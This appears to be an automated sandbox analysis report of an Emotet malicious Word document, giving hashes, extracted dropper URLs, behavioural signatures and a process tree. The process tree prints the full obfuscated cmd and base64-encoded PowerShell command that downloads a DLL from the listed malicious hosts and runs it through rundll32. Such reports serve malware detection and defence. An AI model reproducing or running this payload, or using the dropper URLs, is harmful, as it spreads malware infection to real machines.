Analysis

  • max time kernel
    49s
  • max time network
    31s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    20-01-2021 23:43

General

  • Target

    emotet_e2_141fff422c09e0667d14fb353c2b716e5942f8e592bf7e4c8627c33cca4deac9_2021-01-20__234121779771._fpx.doc

  • Size

    165KB

  • MD5

    30156a61befeadd27bdaecaa3eff201f

  • SHA1

    c52f1d1462c727eb68836ea892a44c16d86c334b

  • SHA256

    141fff422c09e0667d14fb353c2b716e5942f8e592bf7e4c8627c33cca4deac9

  • SHA512

    9bde7e444696eeae01735269f644a141ca3ca516bc0823c018c5923b7960a79bd0ec149f1612860ff711cb9e0ab380ef363810eaa3a06ada6106206501c95fc8

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://trendmoversdubai.com/cgi-bin/B73/

exe.dropper

http://dryaquelingrdo.com/wp-content/SI/

exe.dropper

http://bardiastore.com/wp-admin/A1283/

exe.dropper

http://oxycode.net/wp-admin/x/

exe.dropper

http://fabulousstylz.net/248152296/TpI/

exe.dropper

http://abdo-alyemeni.com/wp-admin/seG6/

exe.dropper

http://giteslacolombiere.com/wp-admin/FV/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_141fff422c09e0667d14fb353c2b716e5942f8e592bf7e4c8627c33cca4deac9_2021-01-20__234121779771._fpx.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1108
  • C:\Windows\system32\cmd.exe
    cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABTAGUAdAAgACgAIgBUAHAAIgArACIASAAiACkAIAAoACAAWwB0AHkAcABFAF0AKAAiAHsAMAB9AHsAMQB9AHsAMgB9AHsAMwB9AHsANAB9ACIALQBmACAAJwBTAFkAJwAsACcAcwB0ACcALAAnAGUAJwAsACcATQAuAEkAbwAnACwAJwAuAGQAaQByAEUAQwBUAE8AcgBZACcAKQApADsAIAAgACAAIABzAGUAVAAtAEkAdABlAE0AIAB2AEEAUgBpAGEAYgBsAEUAOgB5AE4ATwA4AGsAIAAoACAAWwB0AFkAcABFAF0AKAAiAHsAMQB9AHsAMwB9AHsAMAB9AHsANAB9AHsANQB9AHsAMgB9ACIALQBGACAAJwBzAEUAcgBWAEkAJwAsACcAcwBZAFMAdABFAG0ALgBOAGUAJwAsACcAVABNAEEAbgBhAEcAZQBSACcALAAnAHQALgAnACwAJwBDAGUAJwAsACcAUABPAGkATgAnACkAIAApACAAOwAgACQATwBjADgAcwB5AHAAawA9ACQARgA1ADQATgAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAWAA3AF8ASQA7ACQAUAA2ADEAUQA9ACgAJwBNADYAJwArACcAOABMACcAKQA7ACAAJABUAHAASAA6ADoAIgBjAFIARQBgAEEAdABlAGAARABgAGkAcgBlAEMAVABPAGAAUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAnACsAJwAwACcAKwAnAH0ARgBxAGIAJwArACgAJwBkACcAKwAnAHcAeAAnACkAKwAnAGgAewAwAH0AUwAyAGcAaQA4ACcAKwAnADcAYgB7ADAAfQAnACkALQBmACAAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQATAA4ADcARwA9ACgAJwBOACcAKwAoACcAMAA5ACcAKwAnAEcAJwApACkAOwAgACAAJABZAG4ATwA4AEsAOgA6ACIAUwBlAGMAVQByAGkAYABUAFkAcABSAG8AVABgAG8AYwBgAE8AbAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzACcAKQArACcAMQAyACcAKQA7ACQAQQA4ADEAWQA9ACgAKAAnAEYAJwArACcAMQA5ACcAKQArACcAUAAnACkAOwAkAFgANAB3AHgAbgByADEAIAA9ACAAKAAoACcAVgAyACcAKwAnADkAJwApACsAJwBUACcAKQA7ACQAUQA0ADEAVwA9ACgAJwBTADMAJwArACcANQBDACcAKQA7ACQASQBwADQAZgB3AF8AZQA9ACQASABPAE0ARQArACgAKAAoACcAUgAnACsAJwBXADAARgBxACcAKwAnAGIAJwApACsAJwBkAHcAJwArACgAJwB4AGgAJwArACcAUgAnACkAKwAoACcAVwAwACcAKwAnAFMAMgAnACsAJwBnAGkAJwApACsAKAAnADgANwBiACcAKwAnAFIAJwArACcAVwAwACcAKQApAC4AIgBSAGAARQBwAGwAQQBgAEMARQAiACgAKAAnAFIAVwAnACsAJwAwACcAKQAsAFsAcwBUAFIASQBuAGcAXQBbAEMAaABhAFIAXQA5ADIAKQApACsAJABYADQAdwB4AG4AcgAxACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABPADAAMgBVAD0AKAAoACcAQQAnACsAJwAwADgAJwApACsAJwBMACcAKQA7ACQAWAA5ADgAdgB0AHAAZAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAEoANQBqAGQAYQB0AHMAPQAoACgAJwBzAGcAIAAnACsAJwB5AHcAIAAnACkAKwAnAGEAJwArACcAaAAnACsAJwA6ACcAKwAoACcALwAvAHQAJwArACcAcgBlAG4AJwArACcAZABtAG8AJwApACsAKAAnAHYAZQByACcAKwAnAHMAZAB1ACcAKQArACcAYgBhACcAKwAnAGkAJwArACcALgBjACcAKwAnAG8AJwArACcAbQAnACsAKAAnAC8AYwAnACsAJwBnAGkALQBiAGkAbgAnACsAJwAvAEIANwAnACkAKwAoACcAMwAnACsAJwAvACEAJwApACsAJwBzACcAKwAoACcAZwAgAHkAdwAnACsAJwAgACcAKQArACcAYQAnACsAKAAnAGgAOgAvAC8AJwArACcAZAByAHkAYQBxAHUAZQAnACsAJwBsACcAKwAnAGkAJwApACsAJwBuACcAKwAnAGcAJwArACcAcgAnACsAJwBkACcAKwAnAG8ALgAnACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AdwBwAC0AJwArACcAYwBvACcAKwAnAG4AdABlAG4AdAAnACsAJwAvAFMAJwApACsAKAAnAEkALwAhACcAKwAnAHMAJwApACsAJwBnACAAJwArACgAJwB5AHcAJwArACcAIABhAGgAOgAvACcAKwAnAC8AYgBhAHIAJwArACcAZAAnACsAJwBpAGEAJwApACsAJwBzACcAKwAoACcAdABvACcAKwAnAHIAJwArACcAZQAuAGMAbwAnACkAKwAoACcAbQAvAHcAcAAtAGEAJwArACcAZAAnACsAJwBtACcAKQArACgAJwBpAG4ALwAnACsAJwBBADEAMgAnACsAJwA4ADMAJwApACsAKAAnAC8AIQAnACsAJwBzAGcAIAB5ACcAKQArACgAJwB3ACcAKwAnACAAYQBoACcAKQArACgAJwA6AC8ALwAnACsAJwBvAHgAeQBjACcAKQArACcAbwAnACsAJwBkAGUAJwArACgAJwAuAG4AJwArACcAZQAnACkAKwAoACcAdAAvACcAKwAnAHcAJwApACsAJwBwAC0AJwArACcAYQAnACsAJwBkACcAKwAnAG0AaQAnACsAJwBuAC8AJwArACgAJwB4ACcAKwAnAC8AIQAnACkAKwAoACcAcwAnACsAJwBnACAAeQAnACkAKwAoACcAdwAnACsAJwAgAGEAaAAnACkAKwAnADoALwAnACsAKAAnAC8AZgBhACcAKwAnAGIAdQAnACsAJwBsAG8AJwApACsAKAAnAHUAcwBzAHQAeQBsAHoALgAnACsAJwBuACcAKwAnAGUAJwApACsAJwB0ACcAKwAoACcALwAyADQAOAAxADUAJwArACcAMgAnACsAJwAyADkANgAvAFQAJwArACcAcABJAC8AIQAnACsAJwBzAGcAJwArACcAIAB5ACcAKwAnAHcAIABhAGgAOgAnACkAKwAoACcALwAvACcAKwAnAGEAYgAnACsAJwBkAG8AJwApACsAJwAtAGEAJwArACcAbAB5ACcAKwAoACcAZQAnACsAJwBtAGUAJwApACsAJwBuACcAKwAnAGkAJwArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAdwAnACsAJwBwAC0AYQBkAG0AJwApACsAJwBpAG4AJwArACgAJwAvAHMAJwArACcAZQBHADYALwAnACkAKwAnACEAJwArACcAcwAnACsAJwBnACcAKwAoACcAIAB5AHcAIABhACcAKwAnAGgAJwArACcAOgAnACkAKwAnAC8AJwArACgAJwAvAGcAJwArACcAaQB0ACcAKQArACcAZQAnACsAKAAnAHMAJwArACcAbABhAGMAJwApACsAJwBvACcAKwAnAGwAJwArACgAJwBvAG0AYgBpAGUAJwArACcAcgBlACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkACcAKwAnAG0AJwApACsAKAAnAGkAJwArACcAbgAvACcAKQArACgAJwBGAFYAJwArACcALwAnACkAKQAuACIAUgBlAFAAbABgAEEAYwBlACIAKAAoACgAJwBzAGcAJwArACcAIAB5ACcAKQArACcAdwAnACsAKAAnACAAJwArACcAYQBoACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwBuAGoAJwAsACcAdAByACcAKQAsACcAeQBqACcALAAnAHMAYwAnACwAJABYADkAOAB2AHQAcABkACwAJwB3AGQAJwApAFsAMwBdACkALgAiAFMAYABQAGwASQBUACIAKAAkAFgANgAyAEkAIAArACAAJABPAGMAOABzAHkAcABrACAAKwAgACQASwA5ADIARAApADsAJABKADAAMABGAD0AKAAnAEUAJwArACgAJwA5ACcAKwAnAF8ATwAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATAA5AHkAagBxAGkAcwAgAGkAbgAgACQASgA1AGoAZABhAHQAcwApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3AC0AJwArACcATwBiAGoAZQAnACsAJwBjAHQAJwApACAAUwB5AFMAdABlAE0ALgBOAGUAdAAuAHcARQBCAGMATABpAEUAbgBUACkALgAiAEQAYABvAHcAbgBgAGwATwBhAGQAZgBpAEwARQAiACgAJABMADkAeQBqAHEAaQBzACwAIAAkAEkAcAA0AGYAdwBfAGUAKQA7ACQAVgAzAF8ATAA9ACgAKAAnAEoAJwArACcAXwBfACcAKQArACcAVQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASQBwADQAZgB3AF8AZQApAC4AIgBMAEUATgBHAGAAVABIACIAIAAtAGcAZQAgADMANQAzADgANQApACAAewAuACgAJwByAHUAbgBkAGwAJwArACcAbAAzADIAJwApACAAJABJAHAANABmAHcAXwBlACwAKAAoACcAQQBuACcAKwAnAHkAJwApACsAKAAnAFMAdAByACcAKwAnAGkAbgAnACkAKwAnAGcAJwApAC4AIgB0AGAATwBzAGAAVAByAGkAbgBnACIAKAApADsAJABLADQAMABFAD0AKAAnAEYAOQAnACsAJwAzAEcAJwApADsAYgByAGUAYQBrADsAJABDADQAMQBFAD0AKAAnAFoAJwArACgAJwAwADkAJwArACcAUQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWAAyADMAQgA9ACgAKAAnAFAAOAAnACsAJwA3ACcAKQArACcASQAnACkA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:2236
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:3408
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w hidden -enc IABTAGUAdAAgACgAIgBUAHAAIgArACIASAAiACkAIAAoACAAWwB0AHkAcABFAF0AKAAiAHsAMAB9AHsAMQB9AHsAMgB9AHsAMwB9AHsANAB9ACIALQBmACAAJwBTAFkAJwAsACcAcwB0ACcALAAnAGUAJwAsACcATQAuAEkAbwAnACwAJwAuAGQAaQByAEUAQwBUAE8AcgBZACcAKQApADsAIAAgACAAIABzAGUAVAAtAEkAdABlAE0AIAB2AEEAUgBpAGEAYgBsAEUAOgB5AE4ATwA4AGsAIAAoACAAWwB0AFkAcABFAF0AKAAiAHsAMQB9AHsAMwB9AHsAMAB9AHsANAB9AHsANQB9AHsAMgB9ACIALQBGACAAJwBzAEUAcgBWAEkAJwAsACcAcwBZAFMAdABFAG0ALgBOAGUAJwAsACcAVABNAEEAbgBhAEcAZQBSACcALAAnAHQALgAnACwAJwBDAGUAJwAsACcAUABPAGkATgAnACkAIAApACAAOwAgACQATwBjADgAcwB5AHAAawA9ACQARgA1ADQATgAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAWAA3AF8ASQA7ACQAUAA2ADEAUQA9ACgAJwBNADYAJwArACcAOABMACcAKQA7ACAAJABUAHAASAA6ADoAIgBjAFIARQBgAEEAdABlAGAARABgAGkAcgBlAEMAVABPAGAAUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAnACsAJwAwACcAKwAnAH0ARgBxAGIAJwArACgAJwBkACcAKwAnAHcAeAAnACkAKwAnAGgAewAwAH0AUwAyAGcAaQA4ACcAKwAnADcAYgB7ADAAfQAnACkALQBmACAAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQATAA4ADcARwA9ACgAJwBOACcAKwAoACcAMAA5ACcAKwAnAEcAJwApACkAOwAgACAAJABZAG4ATwA4AEsAOgA6ACIAUwBlAGMAVQByAGkAYABUAFkAcABSAG8AVABgAG8AYwBgAE8AbAAiACAAPQAgACgAKAAnAFQAJwArACcAbABzACcAKQArACcAMQAyACcAKQA7ACQAQQA4ADEAWQA9ACgAKAAnAEYAJwArACcAMQA5ACcAKQArACcAUAAnACkAOwAkAFgANAB3AHgAbgByADEAIAA9ACAAKAAoACcAVgAyACcAKwAnADkAJwApACsAJwBUACcAKQA7ACQAUQA0ADEAVwA9ACgAJwBTADMAJwArACcANQBDACcAKQA7ACQASQBwADQAZgB3AF8AZQA9ACQASABPAE0ARQArACgAKAAoACcAUgAnACsAJwBXADAARgBxACcAKwAnAGIAJwApACsAJwBkAHcAJwArACgAJwB4AGgAJwArACcAUgAnACkAKwAoACcAVwAwACcAKwAnAFMAMgAnACsAJwBnAGkAJwApACsAKAAnADgANwBiACcAKwAnAFIAJwArACcAVwAwACcAKQApAC4AIgBSAGAARQBwAGwAQQBgAEMARQAiACgAKAAnAFIAVwAnACsAJwAwACcAKQAsAFsAcwBUAFIASQBuAGcAXQBbAEMAaABhAFIAXQA5ADIAKQApACsAJABYADQAdwB4AG4AcgAxACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABPADAAMgBVAD0AKAAoACcAQQAnACsAJwAwADgAJwApACsAJwBMACcAKQA7ACQAWAA5ADgAdgB0AHAAZAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAEoANQBqAGQAYQB0AHMAPQAoACgAJwBzAGcAIAAnACsAJwB5AHcAIAAnACkAKwAnAGEAJwArACcAaAAnACsAJwA6ACcAKwAoACcALwAvAHQAJwArACcAcgBlAG4AJwArACcAZABtAG8AJwApACsAKAAnAHYAZQByACcAKwAnAHMAZAB1ACcAKQArACcAYgBhACcAKwAnAGkAJwArACcALgBjACcAKwAnAG8AJwArACcAbQAnACsAKAAnAC8AYwAnACsAJwBnAGkALQBiAGkAbgAnACsAJwAvAEIANwAnACkAKwAoACcAMwAnACsAJwAvACEAJwApACsAJwBzACcAKwAoACcAZwAgAHkAdwAnACsAJwAgACcAKQArACcAYQAnACsAKAAnAGgAOgAvAC8AJwArACcAZAByAHkAYQBxAHUAZQAnACsAJwBsACcAKwAnAGkAJwApACsAJwBuACcAKwAnAGcAJwArACcAcgAnACsAJwBkACcAKwAnAG8ALgAnACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AdwBwAC0AJwArACcAYwBvACcAKwAnAG4AdABlAG4AdAAnACsAJwAvAFMAJwApACsAKAAnAEkALwAhACcAKwAnAHMAJwApACsAJwBnACAAJwArACgAJwB5AHcAJwArACcAIABhAGgAOgAvACcAKwAnAC8AYgBhAHIAJwArACcAZAAnACsAJwBpAGEAJwApACsAJwBzACcAKwAoACcAdABvACcAKwAnAHIAJwArACcAZQAuAGMAbwAnACkAKwAoACcAbQAvAHcAcAAtAGEAJwArACcAZAAnACsAJwBtACcAKQArACgAJwBpAG4ALwAnACsAJwBBADEAMgAnACsAJwA4ADMAJwApACsAKAAnAC8AIQAnACsAJwBzAGcAIAB5ACcAKQArACgAJwB3ACcAKwAnACAAYQBoACcAKQArACgAJwA6AC8ALwAnACsAJwBvAHgAeQBjACcAKQArACcAbwAnACsAJwBkAGUAJwArACgAJwAuAG4AJwArACcAZQAnACkAKwAoACcAdAAvACcAKwAnAHcAJwApACsAJwBwAC0AJwArACcAYQAnACsAJwBkACcAKwAnAG0AaQAnACsAJwBuAC8AJwArACgAJwB4ACcAKwAnAC8AIQAnACkAKwAoACcAcwAnACsAJwBnACAAeQAnACkAKwAoACcAdwAnACsAJwAgAGEAaAAnACkAKwAnADoALwAnACsAKAAnAC8AZgBhACcAKwAnAGIAdQAnACsAJwBsAG8AJwApACsAKAAnAHUAcwBzAHQAeQBsAHoALgAnACsAJwBuACcAKwAnAGUAJwApACsAJwB0ACcAKwAoACcALwAyADQAOAAxADUAJwArACcAMgAnACsAJwAyADkANgAvAFQAJwArACcAcABJAC8AIQAnACsAJwBzAGcAJwArACcAIAB5ACcAKwAnAHcAIABhAGgAOgAnACkAKwAoACcALwAvACcAKwAnAGEAYgAnACsAJwBkAG8AJwApACsAJwAtAGEAJwArACcAbAB5ACcAKwAoACcAZQAnACsAJwBtAGUAJwApACsAJwBuACcAKwAnAGkAJwArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAdwAnACsAJwBwAC0AYQBkAG0AJwApACsAJwBpAG4AJwArACgAJwAvAHMAJwArACcAZQBHADYALwAnACkAKwAnACEAJwArACcAcwAnACsAJwBnACcAKwAoACcAIAB5AHcAIABhACcAKwAnAGgAJwArACcAOgAnACkAKwAnAC8AJwArACgAJwAvAGcAJwArACcAaQB0ACcAKQArACcAZQAnACsAKAAnAHMAJwArACcAbABhAGMAJwApACsAJwBvACcAKwAnAGwAJwArACgAJwBvAG0AYgBpAGUAJwArACcAcgBlACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkACcAKwAnAG0AJwApACsAKAAnAGkAJwArACcAbgAvACcAKQArACgAJwBGAFYAJwArACcALwAnACkAKQAuACIAUgBlAFAAbABgAEEAYwBlACIAKAAoACgAJwBzAGcAJwArACcAIAB5ACcAKQArACcAdwAnACsAKAAnACAAJwArACcAYQBoACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwBuAGoAJwAsACcAdAByACcAKQAsACcAeQBqACcALAAnAHMAYwAnACwAJABYADkAOAB2AHQAcABkACwAJwB3AGQAJwApAFsAMwBdACkALgAiAFMAYABQAGwASQBUACIAKAAkAFgANgAyAEkAIAArACAAJABPAGMAOABzAHkAcABrACAAKwAgACQASwA5ADIARAApADsAJABKADAAMABGAD0AKAAnAEUAJwArACgAJwA5ACcAKwAnAF8ATwAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATAA5AHkAagBxAGkAcwAgAGkAbgAgACQASgA1AGoAZABhAHQAcwApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3AC0AJwArACcATwBiAGoAZQAnACsAJwBjAHQAJwApACAAUwB5AFMAdABlAE0ALgBOAGUAdAAuAHcARQBCAGMATABpAEUAbgBUACkALgAiAEQAYABvAHcAbgBgAGwATwBhAGQAZgBpAEwARQAiACgAJABMADkAeQBqAHEAaQBzACwAIAAkAEkAcAA0AGYAdwBfAGUAKQA7ACQAVgAzAF8ATAA9ACgAKAAnAEoAJwArACcAXwBfACcAKQArACcAVQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASQBwADQAZgB3AF8AZQApAC4AIgBMAEUATgBHAGAAVABIACIAIAAtAGcAZQAgADMANQAzADgANQApACAAewAuACgAJwByAHUAbgBkAGwAJwArACcAbAAzADIAJwApACAAJABJAHAANABmAHcAXwBlACwAKAAoACcAQQBuACcAKwAnAHkAJwApACsAKAAnAFMAdAByACcAKwAnAGkAbgAnACkAKwAnAGcAJwApAC4AIgB0AGAATwBzAGAAVAByAGkAbgBnACIAKAApADsAJABLADQAMABFAD0AKAAnAEYAOQAnACsAJwAzAEcAJwApADsAYgByAGUAYQBrADsAJABDADQAMQBFAD0AKAAnAFoAJwArACgAJwAwADkAJwArACcAUQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWAAyADMAQgA9ACgAKAAnAFAAOAAnACsAJwA3ACcAKQArACcASQAnACkA
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3628
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Fqbdwxh\S2gi87b\V29T.dll,AnyString
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2488
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Fqbdwxh\S2gi87b\V29T.dll,AnyString
            4⤵
            • Loads dropped DLL
            PID:2736

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    System Information Discovery

    3
    T1082

    Query Registry

    2
    T1012

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\Fqbdwxh\S2gi87b\V29T.dll
      MD5

      db6b1b751143235793c97e2060753b03

      SHA1

      72c2dd8d677a9bbc86e624383d42fd0496144a5c

      SHA256

      01e14d7d7d88ef53d4f9443170bff682dc9c72f13451c18c9032a5e440975e98

      SHA512

      b637c6554f875cdbfe67673969b39f672ce4f5b4cf3da0a79e2bf151d878d4fb5edec4759018a8e7f1e2362ee11cf4e35760ba4cf13ba738474818e8cc94c96c

    • \Users\Admin\Fqbdwxh\S2gi87b\V29T.dll
      MD5

      db6b1b751143235793c97e2060753b03

      SHA1

      72c2dd8d677a9bbc86e624383d42fd0496144a5c

      SHA256

      01e14d7d7d88ef53d4f9443170bff682dc9c72f13451c18c9032a5e440975e98

      SHA512

      b637c6554f875cdbfe67673969b39f672ce4f5b4cf3da0a79e2bf151d878d4fb5edec4759018a8e7f1e2362ee11cf4e35760ba4cf13ba738474818e8cc94c96c

    • memory/1108-3-0x00007FFC22770000-0x00007FFC22780000-memory.dmp
      Filesize

      64KB

    • memory/1108-4-0x00007FFC22770000-0x00007FFC22780000-memory.dmp
      Filesize

      64KB

    • memory/1108-5-0x00007FFC419B0000-0x00007FFC41FE7000-memory.dmp
      Filesize

      6.2MB

    • memory/1108-6-0x00007FFC22770000-0x00007FFC22780000-memory.dmp
      Filesize

      64KB

    • memory/1108-2-0x00007FFC22770000-0x00007FFC22780000-memory.dmp
      Filesize

      64KB

    • memory/2488-15-0x0000000000000000-mapping.dmp
    • memory/2736-17-0x0000000000000000-mapping.dmp
    • memory/3408-7-0x0000000000000000-mapping.dmp
    • memory/3628-10-0x0000014EF1190000-0x0000014EF1191000-memory.dmp
      Filesize

      4KB

    • memory/3628-12-0x0000014EF0C33000-0x0000014EF0C35000-memory.dmp
      Filesize

      8KB

    • memory/3628-14-0x0000014EF0C36000-0x0000014EF0C38000-memory.dmp
      Filesize

      8KB

    • memory/3628-13-0x0000014EF1470000-0x0000014EF1471000-memory.dmp
      Filesize

      4KB

    • memory/3628-11-0x0000014EF0C30000-0x0000014EF0C32000-memory.dmp
      Filesize

      8KB

    • memory/3628-9-0x00007FFC3A530000-0x00007FFC3AF1C000-memory.dmp
      Filesize

      9.9MB

    • memory/3628-8-0x0000000000000000-mapping.dmp